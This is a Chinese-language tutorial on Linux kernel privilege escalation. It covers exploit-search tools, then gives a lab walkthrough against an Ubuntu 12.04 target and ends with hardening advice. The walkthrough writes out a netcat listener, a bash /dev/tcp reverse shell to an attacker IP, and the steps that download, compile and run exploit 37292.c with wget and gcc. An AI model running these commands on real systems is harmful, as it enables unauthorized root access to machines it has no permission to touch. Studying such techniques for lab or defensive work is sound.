内核漏洞提权是指利用操作系统内核中的漏洞来提升用户权限,尤其是从普通用户权限提升到 root 权限。内核漏洞通常是由于内核代码的错误(如缓冲区溢出、权限控制不当、错误的内存管理等)导致的,这些漏洞一旦被攻击者发现并利用,就能让攻击者获得比预期更高的权限。
一.获取漏洞信息和利用工具
-
searchsploit:离线的 Exploit-DB 工具
-
介绍:searchsploit 是 Exploit-DB 提供的一个离线工具,允许用户在本地查找漏洞利用脚本。这个工具非常适合在没有网络连接的情况下使用。
-
格式:searchsploit 条件
-
示例:searchsploit linux 3.13.0 ubuntu
- PS:查找与 Linux 3.13.0 和 Ubuntu 相关的漏洞。
-
-
安装命令:sudo apt install exploitdb
-
-
Exploit-DB
- 介绍:Exploit-DB 是一个在线漏洞数据库,包含了成千上万的漏洞利用(exploit)和相关的漏洞信息。可以通过浏览漏洞库来寻找与目标内核版本相关的漏洞。
-
GitHub
- 介绍:GitHub 是另一个重要的资源,许多漏洞研究人员和安全专家会将他们发现的漏洞利用代码公开在 GitHub 上。你可以通过克隆特定的 GitHub 仓库来获取漏洞利用代码。
-
搜索引擎
- 介绍:如果你无法直接从数据库或 GitHub 获取到漏洞信息,可以通过搜索引擎(如 Google)查找更多资源。在 Google 上,你可以通过搜索特定的 CVE 编号来找到漏洞的描述、解决方法和公开的利用代码。例如,搜索 "CVE-2023-0386 exploit" 会给你提供与该漏洞相关的漏洞利用代码、教程和博客文章等。
二.常见的内核漏洞提权方法
- CVE 漏洞:许多提权攻击都是针对已知的内核漏洞(CVE)进行的。
- 利用内核模块漏洞:攻击者可以通过加载恶意内核模块来绕过内核的安全限制。
- 栈溢出:内核中的某些函数未对输入进行适当的边界检查,可能导致栈溢出,从而修改内核空间内的数据结构,进而实现提权。
三.漏洞示例
靶机版本:Ubuntu 12.04
1.获取靶机shell
-
攻击机监听端口
- 命令:nc -nvlp 7771
-
-
目标主机反向连接
- 命令:bash -i >& /dev/tcp/192.168.13.130/7771 0>&1
-
-
连接成功,获取shell
-
-
2.信息收集
-
uname -a
- 作用:用于获取操作系统的详细信息,包含内核版本、主机名、操作系统架构等
-
cat /etc/issue
- 作用:用于获取操作系统的发行版信息(例如 Ubuntu、CentOS、Debian 等)以及其他系统信息。
-
-
cat /proc/version
- 作用:用于获取内核版本以及编译时的相关信息,包括内核版本、编译日期、GCC 版本等。
-
3.查询漏洞
-
根据获取到的信息,使用 searchsploit查询是否存在相关可利用漏洞。
-
命令:searchsploit linux 3.13.0 ubuntu 12.04
- 作用:查找与 Linux 3.13.0 内核版本 和 Ubuntu 12.04 相关的漏洞。
-
-
4.漏洞利用
-
gcc --version
- 作用:用于查询目标主机是否存在gcc编译器。
-
-
locate linux/local/37292.c
- 作用:使用 locate 命令查找系统中是否存在名为 37292.c 的漏洞利用脚本。
-
-
cp /usr/share/exploitdb/exploits/linux/local/37292.c .
- 作用:将 37292.c 文件复制到当前目录。
-
-
python -m http.server 7777
- 作用:启动一个简单的 HTTP 服务器,监听 7777 端口,用于通过网络传输文件。
-
-
wget 192.168.13.130:7777/37292.c
- 作用:用于从 指定URL 处下载名为 37292.c 的文件。
-
-
gcc -o exp 37292.c
- 作用:使用 GCC 编译器将 37292.c 源代码编译成名为 exp 的可执行文件。
-
-
chmod 777 exp
- 作用:赋予名为exp的可执行文件所有用户的读、写、执行权限。
-
-
./exp
- 作用:运行当前目录下的名为 exp 可执行程序。
-
四.防护措施
- 定期更新内核补丁:及时安装已知漏洞的补丁,修复已知漏洞,减少被攻击的风险。
- 启用内核的安全选项:如 SELinux、AppArmor 等可以限制攻击者通过内核漏洞进行的恶意操作。
- 启用 Kernel ASLR:地址空间布局随机化(ASLR)是一种防止攻击者通过已知地址访问内存的技术。